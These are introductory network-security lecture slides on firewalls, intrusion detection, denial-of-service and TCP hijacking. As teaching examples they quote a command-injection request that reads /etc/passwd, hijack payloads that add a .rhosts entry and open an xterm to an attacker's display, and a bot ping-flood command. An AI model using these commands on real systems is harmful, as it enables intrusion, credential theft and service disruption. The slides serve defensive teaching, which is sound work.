Network Security fundamentals

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  • In other words, having systems in place beforehand which prevent attacks before they begin.
  • Related to the first definition, having peace of mind knowing that your systems are safe and protected.
  • Why good? Because it lets you filter what comes in and what goes out. Why bad? If that point goes down, you are cut off from everyone else. Also, may have lots of congestion at that one point.
  • Snort® is an open source network intrusion prevention and detection system (IDS/IPS) developed by Sourcefire . Combining the benefits of signature, protocol, and anomaly-based inspection, Snort is the most widely deployed IDS/IPS technology worldwide.
  • IRIX is a unix based OS.
  • Forge source IP so that the victim can’t figure out who you are.
  • Alice can send a RESET
  • Malicious user can send a virus to the trusting web client, instead of the program they thought they were downloading.
  • Network Security fundamentals

    1. 1. TARIQ HUSSAINtarique.hussain@iba-suk.edu.pk1
    2. 2. 2
    3. 3.  What is security? Why do we need security? Who is vulnerable? Common security attacks and countermeasures◦ Firewalls & Intrusion Detection Systems◦ Denial of Service Attacks◦ TCP Attacks3
    4. 4.  Dictionary.com says:◦ 1. Freedom from risk or danger; safety.◦ 2. Freedom from doubt, anxiety, or fear; confidence.◦ 3. Something that gives or assures safety.4
    5. 5.  Dictionary.com says:◦ 1. Freedom from risk or danger; safety.◦ 2. Freedom from doubt, anxiety, or fear; confidence.5
    6. 6.  Dictionary.com says:◦ 1. Freedom from risk or danger; safety.◦ 2. Freedom from doubt, anxiety, or fear; confidence.6
    7. 7.  Protect vital information while still allowing accessto those who need it◦ Trade secrets, medical records, etc. Provide authentication and access control forresources Guarantee availability of resources7
    8. 8.  Financial institutions and banks Internet service providers Pharmaceutical companies Government and defense agencies Contractors to various government agencies Multinational corporations ANYONE ON THE NETWORK8
    9. 9.  Finding a way into the network◦ Firewalls Exploiting software bugs, buffer overflows◦ Intrusion Detection Systems Denial of Service◦ Ingress filtering, IDS TCP hijacking◦ IPSecEtc……9
    10. 10.  Basic problem – many network applications andprotocols have security problems that are fixedover time◦ Difficult for users to keep up with changes and keep hostsecure◦ Solution Administrators limit access to end hosts by using a firewall Firewall is kept up-to-date by administrators10
    11. 11.  A firewall is like a castle with a drawbridge◦ Only one point of access into the network◦ This can be good or bad Can be hardware or software◦ Ex. Some routers come with firewall functionality◦ ipfw, ipchains, pf on Unix systems, Windows XP and MacOS X have built in firewalls11
    12. 12. 12IntranetDMZInternetFirewallFirewallWeb server, emailserver, web proxy,etc
    13. 13.  Used to filter packets based on a combination offeatures◦ These are called packet filtering firewalls There are other types too, but they will not be discussed◦ Ex. Drop packets with destination port of 23 (Telnet)◦ Can use any combination of IP/UDP/TCP headerinformation◦ man ipfw on unix47 for much more detail But why don’t we just turn Telnet off?13
    14. 14.  Here is what a computer with a default WindowsXP install looks like:◦ 135/tcp open loc-srv◦ 139/tcp open netbios-ssn◦ 445/tcp open microsoft-ds◦ 1025/tcp open NFS-or-IIS◦ 3389/tcp open ms-term-serv◦ 5000/tcp open UPnP Might need some of these services, or might notbe able to control all the machines on the network14
    15. 15.  What does a firewall rule look like?◦ Depends on the firewall used Example: ipfw◦ /sbin/ipfw add deny tcp from cracker.evil.org towolf.tambov.su telnet Other examples: WinXP & Mac OS X have built inand third party firewalls◦ Different graphical user interfaces◦ Varying amounts of complexity and power15
    16. 16.  Used to monitor for “suspicious activity” on anetwork◦ Can protect against known software exploits, like bufferoverflows Open Source IDS: Snort, www.snort.org16
    17. 17.  Uses “intrusion signatures”◦ Well known patterns of behavior Ping sweeps, port scanning, web server indexing, OSfingerprinting, DoS attempts, etc. Example◦ IRIX vulnerability in webdist.cgi◦ Can make a rule to drop packets containing the line “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd” However, IDS is only useful if contingency plansare in place to curb attacks as they areoccurring17
    18. 18.  We can run a dictionary attack on the passwords◦ The passwords in /etc/passwd are encrypted with thecrypt(3) function (one-way hash)◦ Can take a dictionary of words, crypt() them all, andcompare with the hashed passwords This is why your passwords should bemeaningless random junk!◦ For example, “sdfo839f” is a good password That is not my Facebook password Please don’t try it either18
    19. 19.  Purpose: Make a network service unusable,usually by overloading the server or network Many different kinds of DoS attacks◦ SYN flooding◦ SMURF◦ Distributed attacks◦ Mini Case Study: Code-Red19
    20. 20.  SYN flooding attack Send SYN packets with bogus source address◦ Why? Server responds with SYN ACK and keeps stateabout TCP half-open connection◦ Eventually, server memory is exhausted with this state Solution: use “SYN cookies”◦ In response to a SYN, create a special “cookie” for theconnection, and forget everything else◦ Then, can recreate the forgotten information when the ACKcomes in from a legitimate connection20
    21. 21. 21
    22. 22.  SMURF◦ Source IP address of a broadcast ping is forged◦ Large number of machines respond back to victim,overloading it22
    23. 23. 23I n t e r n e tP e r p e t r a t o r V ic t imI C M P e c h o ( s p o o f e d s o u r c e a d d r e s s o f v ic t im )S e n t t o I P b r o a d c a s t a d d r e s sI C M P e c h o r e p ly
    24. 24.  Distributed Denial of Service◦ Same techniques as regular DoS, but on a muchlarger scale◦ Example: Sub7Server Trojan and IRC bots Infect a large number of machines with a “zombie” program Zombie program logs into an IRC channel and awaitscommands Example: Bot command: !p4 207.71.92.193 Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000 Sends 10,000 64k packets to the host (655MB!)24
    25. 25.  Mini Case Study – CodeRed◦ July 19, 2001: over 359,000 computers infected withCode-Red in less than 14 hours◦ Used a recently known buffer exploit in Microsoft IIS◦ Damages estimated in excess of $2.6 billion25
    26. 26.  Why is this under the Denial of Service category?◦ CodeRed launched a DDOS attack againstwww1.whitehouse.gov from the 20th to the 28th of everymonth!◦ Spent the rest of its time infecting other hosts26
    27. 27.  How can we protect ourselves?◦ Ingress filtering If the source IP of a packet comes in on an interface whichdoes not have a route to that packet, then drop it RFC 2267 has more information about this◦ Stay on top of CERT advisories and the latest securitypatches A fix for the IIS buffer overflow was released sixteen daysbefore CodeRed had been deployed!27
    28. 28.  Recall how IP works…◦ End hosts create IP packets and routers process thempurely based on destination address alone Problem: End hosts may lie about other fieldswhich do not affect delivery◦ Source address – host may trick destination intobelieving that the packet is from a trusted source Especially applications which use IP addresses as a simpleauthentication method Solution – use better authentication methods28
    29. 29.  TCP connections have associated state◦ Starting sequence numbers, port numbers Problem – what if an attacker learns these values?◦ Port numbers are sometimes well known to begin with(ex. HTTP uses port 80)◦ Sequence numbers are sometimes chosen in verypredictable ways29
    30. 30.  If an attacker learns the associated TCP state forthe connection, then the connection can behijacked! Attacker can insert malicious data into the TCPstream, and the recipient will believe it came fromthe original source◦ Ex. Instead of downloading and running new program,you download a virus and execute it30
    31. 31.  Say hello to Alice, Bob and Mr. Big Ears31
    32. 32.  Alice and Bob have an established TCPconnection32
    33. 33.  Mr. Big Ears lies on the path between Alice andBob on the network◦ He can intercept all of their packets33
    34. 34.  First, Mr. Big Ears must drop all of Alice’s packetssince they must not be delivered to Bob (why?)34PacketsThe Void
    35. 35.  Then, Mr. Big Ears sends his malicious packetwith the next ISN (sniffed from the network)35ISN, SRC=Alice
    36. 36.  What if Mr. Big Ears is unable to sniff the packetsbetween Alice and Bob?◦ Can just DoS Alice instead of dropping her packets◦ Can just send guesses of what the ISN is until it isaccepted How do you know when the ISN is accepted?◦ Mitnick: payload is “add self to .rhosts”◦ Or, “xterm -display MrBigEars:0”36
    37. 37.  Why are these types of TCP attacks sodangerous?37Web serverMalicious userTrusting web client
    38. 38.  How do we prevent this? IPSec◦ Provides source authentication, so Mr. Big Ears cannotpretend to be Alice◦ Encrypts data before transport, so Mr. Big Ears cannottalk to Bob without knowing what the session key is38
    39. 39.  The Internet works only because we implicitly trustone another It is very easy to exploit this trust The same holds true for software It is important to stay on top of the latest CERTsecurity advisories to know how to patch anysecurity holes39

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